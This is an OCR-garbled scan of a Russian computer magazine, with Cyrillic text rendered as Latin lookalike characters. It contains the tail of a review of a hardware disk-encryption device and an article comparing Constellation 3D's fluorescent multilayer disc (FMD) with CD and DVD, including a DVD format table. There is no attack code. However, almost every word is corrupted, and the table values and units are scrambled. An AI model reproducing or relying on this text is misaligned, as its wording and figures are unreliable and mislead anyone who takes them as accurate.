npeABMAMTCfl. OcTaeTC^ TO^bKO nonpo6oBaTb no- 
Ao6paTb k/ik)h m napo^b. OAHaKO napo^b coctomt 
M3 7-35 3H3KOB. TeopeTMHecKM MO>KHO MCn0^b30- 


BaTb Bee 255 cmmbo^ob, ho pea^bHO Mcno/ib3yiOT- 
cn 10 u m c|d p, 26 aHr/iMMCKMx 6yKB m HecKO/ibKO 
cneucMMBO/iOB. Bee paBHO noA6op B03M0>KHbix 
KOM6MHaAMM M3 7 3H3KOB M OKO/IO 40 CMMBO^OB 
npeACTaB^^eT co6om AOcraTOHHO HeTpMBMa/ibHyio 
3aAany. Hy a caM k^ioh mo>kho yKpacTb TO^bKO 
BMecTe c rpMM-AMCKOM. (B npMHAMne Kpa>Ka oio- 
na Bee paBHO hm k neMy He npMBeAGT. 256-6MTHbm 
koa K/iiona aKTMBMpyeTC^ c noMOiAbio napo^fl.) 

OcTaeTc^i To^bKO HaAe^Tbc^ Ha HecoBepmeHCTBO 
MeTOAa iuMc|Dpai4MM. OAHaKO mctoa BECTA-2M, mc- 
no^b3yeMbm b CMcreMe, CHMTaeTC^ oahmm m3 ^yn- 
lumx b MMpe m Tpe6yeT p,nn B3^0Ma oko^o 10 77 3^e- 
MeHTapHbix noA6opoB. 

V\ nOC/ieAHMM npMilTHbIM MOMeHT. npM B03HMK- 
HOBeHMM CjDOpC-Ma>KOpHOM CMTyaLJMM AOCT3TOHHO 
AOT^HyTbc^ ao KHonKM Reset. C/ieAytoiAaa 3arpy3- 
Ka CHOBa noTpe6yeT oioh m napo^b, a 6e3 hmx cm- 
CTeMa npocTO He yBMAMT rpMM-AMCK. 

klTor 

llpocToe, Aa>Ke npMMMTMBHoe, ycTpoMCTBO c BnenaT- 
/miOLAeM CTeneHbio 3aiAMiAeHHOCTM. HeAOCTaTKaMM 
MO>KHO Ha3BaTb, pa3Be HTO, BHeiUHMM BM a, Mcno/ib- 
30B3HMe ^MiuHero PCI m/im ISA-c^OTa A-n^ ceTeBOM 
KapTbi c B00T-R0M m noTepio ckopoctm npM pa6oTe 
c 3aiAMiAaeMbiM BMHHecTepoM. Ilpouecc iuMc|Dpa- 
u,m/p,eui]A^pau,m Tpe6yeT BpeMeHM. B HaweM Tec- 
Te pa3HMAa Me>KAy ckopoct^mm pa6oTbi BMHHecTepa 
b rack'e rpMM-AMCKa m BHe ero cocTaBM/ia noHTM 
35%. OAHaKO p,nn coBpeMeHHbix 6biCTpbix BMHHec- 
TepoB Aa>Ke TaKaa cyiAecTBeHHa^ noTep^ b CKopo- 
ctm nepeAaHM AaHHbix He c/imlukom 3aMeTHa. 
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Tepa6aMT to/iujmhom 

flBa Mki/uiMMeTpa 


Eme b KOHue 1999 rofla noriBn/iocb coo6meHue o hobom flocrurKei-inn b 06/iacTM HocuTe/ien 
MH(j)opMauMM fl/iji mnpoKoro no/ib 30 Bam/m — c|)JiyopecpeHTHbix MHoroc/ioiiHbix flMCKax FMD 
(Fluorescent Multi-layer Disc). Ebi/io 3ariB/ieHO, hto stot npni-mnnna/ibHO h o b bi m bma HoaiTe/ien MMeeT 
tot >xe cfropMaT, hto CD u/iu DVD (fluaMeTp flucxa 120 mm), n MoweT BMecruTb flaHHbie o6i>eMOM 
140 P6aMT. Abtopom M 3 o 6 peTeHnn flB/iaeTai KOMaHfla ncc/ieflOBaTe/ieii n cnepua/iMCTOB, n 3 Becmafl xax 
Constellation 3D Inc. (C3D). 


n powjio flOBO/lbHO MHOTO BpeMeHM, M TO/1 bKO 
cePiHac fle/io cflBMHy/iocb c Mecia. KoMna- 
Hi/ifl Lite-On coo6iAM/ia o tom, hto 3aK/iiOHM/ia 
npeflBapnTe/ibHbiM AoroBop o /nmeH3npoBaHnn 
TexHO/iorMM FMD c C3D. llpaKTMHecKM 3 to 03Hana- 
eT, hto ahckm FMD BCKope 6yAyT npeACTaB/ieHbi 
Ha pbiHKe. 1/lHTepecHo, KaK mo>kho pa3MecTMTb 
CTO/lbKO ASHHbIX Ha TaKOM Ma/ieHbKOM HOCMTe/ie? 

I/I AeMCTBMTe/ibHO /im 3to yrpo3a p,nt\ DVD? 

CD npoTMB DVD 

3ByKOCHMMaioiAyK) Mr/iy rpaMMOcjDOHa Tenepb, one- 
bmaho, HaBeKM cmchm/i /ia3ep, npMMeH/ieMbiM 
b CD/DVD-npoMrpbiBaTe/i/ix. floc/ie no/iB/ieHM/i CD 


Ha pbiHKe 6bl/lM OTHOCMTe/lbHO 6blCTpO BbITeCHeHbl 
CTapbie AHCKM LP/SP. OCHOBHblMM npMHMH3MM 
pacnpocTpaHeHM/i ashhom TexHO/iorMM ab/i/hotca 
M eHbiiiMM pa3Mep i/i yBe/i MHeHHa/i eMKOCTb hocm- 
Te/ien, HaAe/KHocTb xpaHeHM/i ash H bix, BbicoKaa 
CKOpOCTb CHMTbIBaHMfl M T. A- 

AyAMO-CD ot/imhho cnpaB/i/iiOTC/i co CBoePi 3a- 
AanePi, xota mx MaKCMMa/ibHbie bo 3 mo>khoctm nac- 
to He ncno/ib3yiOTCfl. fla/iexo He Bee My3biKa/ib- 
Hbie CD cePiHac coAepwaT no/iHbix 74-80 MMHyT 
My3 bi km . MHori/ie 3anMCM no-npe>KHeMy cocTaB/i/i- 
HDT J1 M LLI b OKO/IO 45 MMHyT, a 3H3HMT, My3 bIKM 

npMMeHeHMe CD-amckob ocraeTCfl aKTya/ibHbiM 
m no ceroAHflWHMM AeHb. 


B 06/iacTM BMAeo Ae/io o6ctomt MHane. 
fl/i/i 3anncM cJdm/i bMOB Ha CD 6bi/i pa3pa6oTaH 
CTaHAapT KOMnpeccMM BMAeoAaHHbix MPEG-1. 
ripMHMHOM ero no/iB/ieHM/i CTa/io CTpeM/ieHMe 3a- 
MeHMTb BMAeOKaCCeTbl (VHS) HOBbIM AMCfipOBblM 
HOCMTe/ieM, OAHaKO npM Mcno/l b30B3HMM CD B03- 
HMK/ia npo6/ieMa, CBfl3aHHa/i c 06-beMOM pa3Mema- 
eMbix AaHHbix. Emkoctm A^cxa b 650 M6aMT oxa- 
3a/iocb HeAOCTaTOHHO p,nn 3anMCM BMAeo 
c npMeM/ieMbiM KanecTBOM. Fla oamh BMAeo CD no- 
MeiAaera npMMepHO nac BMAeo b cjDopMaTe 
MPEG-1, k TOMy >Ke eiAe m b no/iOBMHHOM pa3pe- 
LLieHMM (QSIF), npM KOTOpOM TpyAHO A06MTbC/l Bbl- 
cokoto KanecTBa M3o6pa>KeHMfl. KpoMe toto, 3pM- 
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npuHLiunua/ibHafl cxer/ia MHoroc/iOMHoro c|3/iyopecueHTHoro flMCKa ripHHUiin BOcnpoM3BeAeHMfl MHoroaioiiHoro AMCKa 

NlHoroc/iOMHbm cJxnyopecueHTHbm amck 3anncb no c/ioam 



Te/iM wa/iOBa/iMCb Ha CTaHflapT MPEG-1 M3-3a 3cp- 
cfieKTa «KBaflpaia» b M3o6pa>KeHMM, KOTopbm Bbi- 
3B3H npMHi4nnMa/ibHbiMM oco6eHHOCTflMM nepeBO- 


fla CMrHa/ia b amcJdpobom m TexHO/iorMHecKMMM 
orpaHMHeHMiiMM (MaKCMMa/ibHbiM noTOK nepeflaHM 
flaHHbix cocTaB/ifleT Bcero 150 K6aMT/c). 

EMKOCTb AMCKa Heo6xOAMMO 6bl/10 yBe/l MHMTb 
KaK MMHMMyM Ha CTO/lbKO, HT 06 bl Ha oahom A^CKe 
MO>KHO 6bl/10 pa3MeCTMTb o6blHHblM cjD I/IJI bM AJ1M- 
hom 6o/iee 90 MMHyT. CrpeM/ieHMe 3anncaTb KaK 
mo>kho 6o/ibwe AanHbix Ha HocMTe/ib pa3MepoM 
c o6biKHOBeHHbm CD npMBe/io k pa3pa6oTKe ahc- 
Ka DVD m ero BHeApeHmo Ha pbiHKe. Hap^Ay 
c y/iynweHMeM KOMnpeccMM 3ByKa h M3o6pa>KeHMfl 
6bma AOCTMTHyia 6o/ibwafl n/iOTHOCTb 3anncn Ha 
HOCMTe/ib (npMMepHO b 7 pa3). B pe3y/ibTaTe eM- 
KOdb oahoto c/iofl A^CKa DVD cocraBjifleT 
4,7 r6aMT, hto paBH^eic^ npi/mepHO 133 MMHyiaM 
BMAeo c no/iHbiM pa3peweHMeM (720x576/25 fps 
A/ifl CTaHAapia PAL). 3toto Bno/iHe AOCTaTOHHO — 
OKO/io 93% caMbix nony/iapHbix no/iHOMeipa>KHbix 
cjDM/ibMOB p,nv\Tcn He 6o/iee 133 MMHyT. 

TaKaa BbicoKa^ n/iOTHOCTb 3ariMCM AOCTMma 
npeAe/ia B03M0>KH0CTeM 3anMCbiBaiOLAeM m boc- 
npoM3BOA^iAeM annapaiypbi. fla/ibHeMwee yn/iOT- 
HeHMe OKa3a/iocb HenpaKTMHHbiM, yHMTbiBaa He- 
B03M0>KH0CTb npMMeHeHMfl Ha cyiAecTByioiAMx 
cepMMHbix DVD-npMBOAax. llosTOMy cneAyioiAMM 
maroM p,nn yBe/iMHeHMA o6-beMa A^CKa cra/io npM- 
MeHeHMe Aono/iHMTe/ibHoro c/ioa 3anMCM. B3aMMO- 


CBii3b c/ioeB b DVD 6bi/ia peiueHa npM iiomoiam TaK 
Ha3biBaeMOM peBepcHOM cnMpa/iM: o6a c/ioa, Ha- 
xoA^cb Apyr HaA ApyroM, CHMTbiBaiOT AaHHbie, 3a- 


nncaHHbie b npoTMBono/ic»KHO HanpaB/ieHHbix 
cnMpa/iax, HTo6bi nepexoA c oahoto c/ioa Ha Apy- 

TOM npOMCXOAM^ 6e3 OCTaHOBKM M 3a B03M0>KH0 
6o/iee KopoTKoe BpeM/i. 3ia, Ka3a/iocb 6bi, ao- 
boji bHO npocrafl cxeMa npM npoM3BOACTBe npoMr- 
pbiBaie^eM Bbi3Ba/ia 6o/ibWMe cjio>khoctm. A 3a- 
TeM nOflBMJlMCb M AByCTOpOHHMe AUC KM, B KOTOpbIX 
Ka>KAaa CTopoHa, b cboio onepeAb, C0Aep>KMT no 
ABa c/ioa. 

DVD npoTMB FMD 

B TexHO/iorMM DVD noBbiiueHMe eMKOCTM A^CKa 
6bi/io AOCTMTHyTO yBe/i MHeHMeM n/iOTHOCTM 3anM- 
cm Ha c/iom, Ao6aB^eHMeM k HeMy BToporo m mc- 


no^b30BaHMeM mx c o6eMx ctopoh. TexHO/iorM/i, 
npMMeH/ieMafl b FMD-AMCKax, npeAno/iaraeT yBe- 
JlMHeHMe eMKOCTM 3a CHeT MCn0/lb30BaHMfl MHO>Ke- 
CTBa c/ioeB. Co6cTBeHHo, y>Ke b Ha3B3H mm Multi- 
Layer (MHoroc/ioMHbiM) pacKpbiBaera rnaBHa/i 


MAe^. FMD AO/i>KeH coAep>KaTb 12-30 c/ioeB, npM- 
neM oOteM AaHHbix, pa3MeiAeHHbix Ha oahom c/ioe, 
TaKOM >Ke, KaK y DVD, to ecTb 4,7 T6aMT. TaKMM 06- 
pa30M, Ha HOCMTe/ib pa3MepoM c CD/DVD (AMa- 
MeTp 120 MM, TO/llAMHa OKO/IO 2 mm) BOMAeT ot 56 
(12 c/ioeB) ao 140 T6 aMT (30 c/ioeB) MHcfiopMa- 

AMM. 

no cyTM Mbic/ib npocTa: no/iHOCTbio Mcno/ib30- 
BaTb y>Ke roTOBbie Hapa6oTKM, npMMeHeHHbie 
b TexHO/iorMM DVD-npoMrpbiBaTe/ieM, m Bcero-Ha- 
Bcero TeXHO/lOTMHeCKM yBe/l MH MTb eMKOCTb AHCKa. 
OAHaKO 3to zierKO CKa3aTb, a CAe/iaTb 3HaHMTe/ib- 
ho TpyAHee. flaBaMTe paccMOTpMM ycTpoMCTBO 
FMD-AMCKa noApo6Hee. 

0Tpa>KaiOIMMM C/IOM 
npoTMB cJ>/iyopeci4eHTHoro 

KaK M3TOTaB/lMBaeTCj1 AUCK FMD, Mbl MO>KeM TO^b- 
ko AoraAbiBaTbca, ho b ony6^MKOBaHHbix coo6iAe- 
HMflx KOMnaHMM C3D MHoroe mo>kho nponecTb 
«Me>KAy CTpoK». DVD Mcno^b3yeT KOHLjenAMio TaK 


Ha3biBaeMoro mhotoc^omhoto onTMHecKoro A^CKa. 
3 tot npMHAMn, pa3pa6oTaHHbiM cjDMpMaMM Philips 
m IBM, McnbiTaH m b BapnaHTe c AByM^ c^o^mm 
( o6o3HaneHHbiMM b cneuMcjDMKauMM DVD), ho mc- 
no^b30BaHMe 6o^biuero ko/i MH ecTBa OTpa>KaioiAMx 


Ha FMD-amck pa3MepoM c CD (flnaMeip 120 mm, TO^iMMHa 
oko/io 2 mm) BMeiiiaeTCfl ot 56 ao 140 r6atiT AaHHbix 


O^yopecueHTHbie MaTepna/ibi n03B0/ifli0T ncno^b30BaTb ao 
100 c^oeB 6e3 saMeTHbix noTepb KanecTBa OTpa>KeH hoto 
CMTH a/ia, a npMMeHeHMe cMHero /ia3epa ybo/imhht eMKOCTb 
FMD-AMCKa ao 1 T6aPiT 
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c/ioeB npo6/ieMaTMHHO. MexaHM3M mo>kho ynpo- 
iMeHHO npeflCTaBmb TaK: MHcJ/opMauM/i 3anMCbiBa- 
era Ha MMKpocKonMHecKMe Aopo/KKM, opraHM30- 
BaHHbie b cnnpa/in, KOTopbie «BbirpaBnpoBaHbi» 

Ha OTpa>KaK)iMMx c/io/ix. Jla3epHbm /iyn cJ/oxycMpy- 
era Ha onpefle/ieHHbm c/iom, v\ aHa/iM30M OTpa- 
>KeH hoto ziyna cHMMaeTC/i 3anMcaHHa/i MHcj/opMa- 
\\m. C/iom BeflyT ce6n KaK 3epxa/ia, 
a B03HMKaioiMMM OTpa>KeHHbiM /iyn MMeeT Taxyio 
>Ke fl-nMHy BO/iHbi, Tax hto mo>kho roBopmb o Tax 
Ha3biBaeMOM KorepeHTHOM ziyne. 

OflHaKO npn npoxofle nasepa nepe3 HecKO/ibKO 
OTpa>KaioiMMx c/ioeB npoMcxoflMT p/iA no6oHHbix 
jiB/ieHMM, TaKMx KaK MHTepc|DepeHAM/i, paccei/iBaHi/ie 
M Me>KC/10MHbie OTpa>XeHM/1, HTO Bbl3blBaeT 3H3HM- 
Te/ibHoe MCKa>KeHMe CMrHa/ia. 3 tot cjaa kt noBbiwa- 
eT TexHo/iorMHecKMe Tpe6oBaHM/i k HMTaioLAMM 
m 3anncbiBaiomMM ycrpoiiCTBaM (cf)OKycMpoBKa /ia- 
3epa, o6pa6oTKa CMrHa/ia m t. n.). Co6cTBeHHO, 
npMMeHeHMe TexHo^orMM, noflpa3yMeBaioiMeM mc- 
no^b30BaHMe 6o/ibiuoro HMC/ia OTpa/xaioiAMx c/io- 
eB, pacno/io>KeHHbix flpyr Hafl flpyroM, npMBOflMT 
k 3HaHme/ibHbiM npo6/ieMaM npn cepMMHOM npo- 
M3BOflCTBe. B pe3y/ibraTe CTOMMOCTb KOHeHHoro yc- 
TpoMCTBa npodo HenpMeM/ieMa. 

1/lMeHHO no 3TMM npMHMH3M HOBa/1 TeXHO/lOTM/1 
FMD He Mcno/ib3yeT npMHLjMn oipawaiomi/ix c/ioeB. 
MeTa/i/iMHecKMM OTpa/xaioiAMM MaTepMa/i (M3BecT- 
HbiPi no CD/DVD) y FMD 3aMeHeH npo3paHHbiM 
cfi^yopecueHTHbiM. Oh no3BO/iaeT C03flaBaTb npo- 
3paHHbie c/iom 3ani/icn, Ha KOTopbix flaHHbie TaK>Ke 
«rpaBi/ipyiOTCfl» b BMfle Aopo/xex, opraHM30B3H- 
Hbix b cnnpa/ii/1. FnaBHoe pa3/iMHMe Mewfly OTpa- 
>KatoiMMM m ^yopecueHTHbiM Maiepna/iOM cocto- 
mt b tom, hto npn nonaAaHMM nasepa cj/ziyopec- 
LjeHTHbiM MaTepMa/i Hani/iHaeT M3/iynaTb, npn stom 
naflaioiMMM /iyn OTpa>xaeTC/i ot OTfle/ibHbix c/ioeB 


C A/1MHOM BO/l H bl, OT/1MHHOM OT TOM, C KOTOpOM 6bl/l 
noc/iaH (c/ierKa cabm HyTOM b KpacHyio CTopoHy 
cneKTpa), k TOMy >Ke /iyn, ecTecTBeHHO, He xore- 
peHTHblM. ripMHeM Be/1MHMH3 CABMT3 33BMCMT OT 
to/ 1 mM h bi c/io/i. To ecTb, Bbi6paB onpeAe/ieHHbiM 
o6pa30M TO/iiAMHy c/io/i, mo>kho 3aAaBaTb CMeiAe- 


HMe Ha Hy>KHyio Be/iMHMHy, o6ecneHMBa/i noc/ieAy- 
toiAee HaAe>KHoe cHMTbiBaHMe. TaKMM o6pa30M 
npeoAO/ieBaiOTC/i MHorne TexHo/iorMHecKMe npe- 
n/iTCTBM/i p,nn npoM3BOACTBa MHorocnoMHoro ho- 
CMTe/i/i, a r/iaBHoe — pei/iaera npo6/ieMa Mcxa- 
>KeHM/i CMrHa/ia noA b/imahmcm MHTepcfiepeHAMM 
M Me>KC/10MHblX OTpa>KeHMM. CHMTblBaiOlAa/1 CMCTe- 
Ma MexaHMKM FMD aHa/iM3MpyeT /ia3epHbm /iyn 
M Cj/M/lbTpyeT TO/lbKO MHCj/OpMaUM K) M/1M ASHHbie 
c Tpe6yeMoro c/io/i. B ot/imhmc ot OTpa/xatoiAero 
MaTepna/ia, rAe cnrHa/i c xa/KAbiM HOBbiM c/ioeM 
33MeTH0 MCKa>KaeTC/i, c cjD/iyopecueHTHbiM MaTepM- 
a/iOM mo>kho Mcno/ib30BaTb ao 100 c/ioeB 6e3 3a- 
MeTHbix noTepb KanecTBa cnrHa/ia. C3D yKa3biBaeT 
B CBOeM COo6lAeHMM, HTO npM MCnO/l b30B3HMM CM- 
Hero /ia3epa mo>kho yBe/iMHMTb eMKOCTb FMD-amc- 
Ka ao 1 T6aMT. 

ripMHAMn 3anMCM Ha FMD-amck ocHOBaH Ha ab- 
ZieHMM Cj/OTOXpOMM3Ma. 0OTOXpOMM3M — 3TO CnO- 
Co6HOCTb BeiAeCTBa o6paTMMO MeH/lTb cj/M3MHeC- 
KMe CBOMCTBa (uBeT, cneKTp nor/ioiAeHM/i, 
no/iB/ieHMe m/im Mcne3HOBeHMe cfi/iyopecueHAMM) 
noA AOMCTBMeM onTMHecKoro M3/iyneHM/i. Ooto- 


xpoMHbiM MaTepna/i, C0Aep>xaiAMMC/i b MHcj/opMa- 
Amohhom c/ioe AHCKa FMD, OT/iMHaera bwcokom 
pa3peujaioiAeM cnoco6HOCTbio, 6biCTpoAeMCTBMeM ( 
B03M0)KH0CTbK) MHOTOKpaTHOrO MCn0/lb30BaHM/l. 
Oh AMK/iM3yeTC/i noA bo3agmctbm6m /ia3epHoro 
ziyna onpeAe/ieHHoPi A-n^Hbi BO/iHbi, npMo6peTa/i 


cjD/iyopecueHTHbie cbomctb 3. CTMpaHMe nponcxo- 
AMT noA B03AeMCTBMeM ziyna /ia3epa c ApyroM 
A/imhom BO/iHbi, npn 3 tom M3MeHeHMe MaTepna/ia 
npMBOAMT k Mcne3HOBeHM to cJ/ziyopecueHTH bix 

CBOMCTB. 

npoAYKTbi FMD 

KoMnaHM/i C3D o6eiAaeT BbinycTMTb ue/ibm p/iA 
npoAyKTOB, 0CH0B3HH bix Ha npMHAMne FMD. 

B nepByio onepeAb 6yAeT Ha/ia>KeHO cepMMHoe 
npOM3BOACTBO FMD-AMCKOB, aHa/lOTMHHblX CD M/IM 
DVD, KOTopbie CMoryT BMecTMTb ot 20 ao 
100 r6aMT AaHHbix. Ohm 6yAyT npo3paHHbiMM m no 
pa3MepaM t3kmmm >Ke, KaK m CTaHAapTHbie CD m/im 
DVD. fl/i/i hmx BbinycT/iT cooTBeTCTByioiAMe Ha- 
CTO/ibHbie npoMrpbiBaTe/iM m npMBOAbi p,nn kom- 
nbiOTepa. C3D pa3pa6oTa/ia p,nn FMD cneuMa/ib- 
Hyio napa/i/ie/ibHyio CHMTbiBatoiAyio TexHO/iorMio 
(HTeHMe C HeCKO/l bKMX C/lOeB OAHOBpeMeHHO), ko- 
Topa/i 6yAeT AOCTMraTb noTOKa AaHHbix ao 1 T6aMT 
b cexyHAy. DVD noxa Mcno/ib3yeT MaKCMMa/ibHbiM 
noTOK AaHHbix oko/io 10 M6aiiT b cexyHAy. 

C/ieAyioiAMM npoAyKTOM AO/i>KeH CTaTb amck 
FMD-W0RM (Write Once Read Many), aHa/ior ho- 
CMTe/i/i CD-RW/DVD-RW, KOTopbm no3BO/iMT hm- 
TaTb M 3anMCblBaTb MHCj/OpMaUMIO M CMO>KeT Ha OA- 
hom AHCKe C 0 Aep>KaTb xax nacTb RW, Tax 
m ROM-AaHHbix. EMKOCTb AHCKa cooTBeTCTByeT 
CTaHAapTHOMy FMD-R0M. 

AHa/lOTMHHO AMCj/pOBOM BM3MTHOM KapTOHKe 
(Digital Business Card) b cfiopMe Ma/ieHbxoro CD 
pa3MepoM c 6yMa>KHyio BM3MTKy 6yAyT BbinycxaTb- 
c/i Tax Ha3biBaeMbie Clear Card Disc (50 mm FMD- 
AMCK). EmKOCTM TaKOM BM3MTKM (10 T6aMT) A-n^ 
npeACTaB/ieHMA MHAMBMAyyMa m/im KOMnaHMM 6y- 
AeT AeMCTBMTe/ibHO 6o/iee neM aoct3toh ho. 

KoMy HynceH FMD? 

Fla pbiHOK TexHO/iorMA FMD BbiMAeT b cepeAMHe 
2002 roAa, a npoM3BOACTBO HaHHeTC/i y>xe b koh- 
ue 3Toro roAa. llpoM3BOAMTe/iM, kohchho, xopoiuo 
nOHMMaiOT, HTO, eC/lM MeA/lMTb C BbIXOAOM Ha pbi- 
HOK, MO>xeT B03HMKHyTb xaxa/i-H M6yAb HOBa/i Tex- 
HO/iorM/i. Flo 6yAeT/iM MaccoBbm cnpoc Ha ahckm 
T axon eMKOCTM m CMO>xeT/iM cj/MpMa Lite-0n BMec- 
Te c C3D Bbino/i HMTb cbom o6eiAaHM/i? 0 th3Ctm Ha 
3TM BOnpOCbl MO>KHO OTBeTMTb, paCCMOTpeB pa3- 



UkicfipoBayi BM3MTHaa KapTOHKa Clear Card Disc (50 mm 
FMD-ahck) 6yfleT MMeTb eMKOCTb 10 l"6aMT. TaKoro o6i>eMa 
rjir npeflCTaBneHMS c})M3MHecKoro topMflMHecKoro ^Mpa 
6yflei AeMCTBMTe/ibHO 6onee neM flocTaTOHHo 


AMCK FMD ot C3D 
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OopiviaT 

CtOpOHbl/ C/IOM 

06-beM AaHHbix 

(reaMT) 

x CD 

BMAeoeMKOCTb 

(nacbi) 

BMAeoeMKOCTb 
min/max (nacbi) 

DVD-5 

SS/SL 

4,38 (4,7) 

6,9 

2,2 

h* 

O 

CO 

o 

DVD-9 

SS/DL 

7,95 (8,6) 

12,5 

4,0 

1,9-16,5 

DVD-10 

DS/SL 

8,75 (9,4) 

13,8 

4,5 

2,1-18,1 

DVD-14 

DS/ML 

12,3 (13,2) 

19,4 

6,5 

2,9-25,6 

DVD-18 

DS/DL 

15,9 (17,1) 

25,0 

8.0 

3,8-33,0 

DVD-R (1.0) 

SS/SL 

3,68 (4,0) 

5,8 

1,8 

CD 

1 

O) 

o 

DVD-R (2.0) 

SS/SL 

4,38 (4,7) 

6,9 

2,2 

o 

CD 

O 

DVD-RAM (1.0) 

SS/SL 

2,4 (2,6) 

3,8 

1,2 

0,6-4, 9 

DVD-RAM (2.0) 

SS/SL 

4,38 (4,7) 

6,9 

2,2 

i- 4 

o 

CO 

o 

DVD-RW (1.0) 

SS/SL 

2,79 (3,0) 

4,4 

1,4 

'st 

If) 

1 

CD 

O 

DVD-RW (2.0) 

SS/SL 

4,38 (4,7) 

6,9 

2,2 

1, 0-9,0 


BMTMe Tex h o/i or m m DVD. CeroAHA BceM acho, hto 
onbiT DVD-amckob 0Ka3a/ic/i ycneiuHbiM m ohm Ha- 
HMHaiOT 3aBoeBbiBaTb ayflMTopMio. B CLUA ywe 3a- 
MeieH DVD-6yM (y Ka>KflOM BTopoPi ceMbM ecTb 
DVD-npoMrpbiBaie/ib, m 3tm AMcJ/pbi HeyK/iOHHO 
padyT), b EBpone stot nepe/iOM TO/ibKO o>KMAaeT- 
ca. Ho npo6/ieMbi, npefliuecTBOBaBiuMe noABAe- 
hmk) DVD, HeM36e>KHO 6yflyT npec/ieflOBaib m ho- 
Bbie CTaHflapTbi. 

BnepBbie DVD 6bi/i npeflCTaB/ieH Ha pbiHKe 
b 1996 rofly. ripoiu/io npMMepHO flBa rofla, npe>K- 
Ae neM 6bi/iM AOCTMrHyTbi corAaweHMA no oamcJd- 
poBKe M3o6pa>KeHM/i m 3ByKa, a TaK>Ke, hto oco- 
6eHH0 Ba>KHO, no nacTM aBTopcKMx npaB 
m 3aiAMTbi 3anMcaHHbix AaHHbix. KoMnbiOTepHbie 
cJ/opMaTbi DVD-ROM, DVD-RAM, DVD-RW M3-3a cbo- 
en ueHbi noxa AOCTynHbi ziMiub He6o/ibiuoMy Kpyry 
no/ib30BaTe/ieM, m noTOMy mx nony/i/ipHOCTb He- 
3H3HMTe/ibHa. HaM6o/ibiuee pacnpocrpaHeHMe no- 
ziyHM/io DVD-BMAeo KaK cpeACTBO KanecTBeHHOM 
3anMCM cj/MA bMOB M KO/l/ieKAMOH MpOBaHMfl AK)6m- 
Te/ibCKMx DV-3anMceki. /}aa npM3H3H ma DVD or- 
poMHyio po/ib cbirpa/io coTpyAHMHecTBO c kmho- 
KOMnaHMAMM, KOTOpbie B/iaAeiOT aBTOpCKMM M 
npaBaMM Ha c|}MAbMbi. Ohm noAflep>Ka/iM nepeBOA 
ro/uiMByACKMx c|DM/ibMOB b cfiopMaT DVD, HTO n03M- 
tmbho hobamaao Ha CMTyauMio Ha pbiHKe. ripaKTM- 
necKM 6bi/io noKa3aHO, hto eMKOCTM DVD aaa umcJd- 
PObom 3anMCM m BOcnpoM3BeA6HM/i cJd M/1 bM3 


c Tpe6yeMbiM KanecTBOM a6co/iiOTHo AOCTaTOHHo 
(cm. Ta6/iMAy). 

riosTOMy, noKa He bhcapat 6o/iee BbicoKoe 
pa3peiueHMe aaa Te/ieBM3MOHHoro BeiAaHMA 
(HDTV), aaa 3anMCM cJdm/i bMa He noHaAo6MTCA 
AMCK 6o/ibiueM eMKOCTM, neM ceroAH/miHMe DVD. 
y Hac, rAe pacnpocTpaHeHMe DVD-BMAeo TO/ibKO 
Hana/iocb, pa3peiueHMe AOMauiHMx 3KpaH0B eiAe 
AO/iro 6yAeT ocraBaTbCA HeM3MeHHbiM. 

Bo/ib lumhctbo cfiM/ibMOB cennac pacnpocrpaHA- 
era Ha AUCKax cJ/opMaTa DVD-5 (oamh caom) mam 
DVD-9 (ABa caoa). 14eHa npoM3BOACTBa 3tmx amc- 
kob (napTMAMM no 10 twcah LUTyK) y>Ke cpaBHMMa 
c ueHOM nepBbix ayAMO-CD. flBycTopoHHMe Asyx- 
CAOMHbie ahckm T3K>Ke BCTpenaiOTC/i, ho 3anacTyio 
ohm npeA^araiOT TOAbKO a/ibTepHaTMBHoe pa3pe- 
uieHMe M3o6pa>KeHMfl (wmpokmm cJ/opMaT 16:9) 
mam 6 oAee KanecTBeHHbiM 3 ByK (DTS, DSSD). Em- 
KOCTb AUCKa ceroAHA CTaHAapTHO 3anoA hactca 
TaK Ha3biBaeMbiMM extras, to ecTb aHOHcaMM, pac- 
CK333MM 06 aKTepaX, KAMnaMM, MHTepBbK), peKAa- 
mom m HepeAKO MrpaMM. HacTO DVD-BMAeo kom6m- 
HMpyeTCA c nacTbio A^CKa, C 0 Aep>KaiAeM 
KOMnbiOTepHyio Mrpy, WWW-CTpaHMAbi, ckpm H ceM- 
Bepbi m t. n. 

MHe AMHHO MHTepeCHO, AAA KOTO, Co6CTBeHHO, 

npeAHa3HaneH FMD-amck. Ohcbmaho, hto y Hero 


R — Hocme/ib c B03M0>KH0CTbi0 0AH0pa30B0n 3anncM 
AaHHbix (Record ones); 

RAM — cJxjpiviaT AonycKaioinnn cri/ipaHi/ie n MHoropa30ByK) 3anncb 
Ha auck (Random Access Memory); 

RW — HOCme/lb C B03M0>KH0CTbl0 MHOrOKpaTHOM 

nepe3anncn (Read and Write); 

6yAeT pa3yMHaa ueHa m ero 6yAyT npoM3BOAMTb 
mho roTbi ca h h bi m m napTMAMM. Ho neM ero 3anOA- 
HATb? Ecam paccMaTpMBaTb nepe3anMCbiBaeMbie 
AMCKM, to Aa>Ke hocmtcam DVD-RW ceroAHA oneHb 
AoporM, a noTOMy mx nonyAApHOCTb He camujkom 
B bicoxa. y FMD-WORM noAO>KeHMe, ohcbmaho, 6y- 
AeT He Aynuie. Aaa pe3epBHoro KonMpoBaHMA 
AaHHbix ao cmx nop 6oAee BbiroAHO McnoAb30BaTb 
AeHTy (HanpMMep, DLT) mam AOCTaTOHHo AemeBbie 
CD-R mam CD-RW. 

Hto KacaeTCA npMMeHeHMA FMD-AMCKa KaK ho- 
CMTeAA AAA MyAbTMMeAMMHbIX npMAO/KeHMM, OnATb 


o6paTMMCA k npMMepy DVD-ROM. Ha pbiHKe y>Ke 
nOABMAMCb Mrpbl, CAOBapM, 3HAMKAOneAMM M Aa>Ke 
>KypHaAbi Ha DVD. Mx peaAM3auMA oneHb CAO>KHa 
KaK B c|3MHaHCOBOM nASHe, TaK M no BpeMeHM 
(npM6AM3MTeAbHO b 6 pa3 AOAbrne, neM aaa CD), 
m noTOMy noAO>KeHMe DVD-ROM He oneHb yTeuiM- 
TeAbHO. Mo>kho npeAnoAaraTb, hto Aa>Ke b o6Aac- 
tm MyAbTMMeAMa FMD-ROM He coBepwMT HacTOA- 
lAePi peBOAiOAMM. BoAee toto, noBbimeHMe 
eMKOCTM HOCMTeAA BpAA AM npM BeAeT K yBeAMHe- 
hm kd ero H3Ae>KHOCTM. fla>Ke McnopneHHbiM CD 03- 
HanaeT 6oAbmyio noTepio AaHHbix. Tax hto >Ke 6y- 
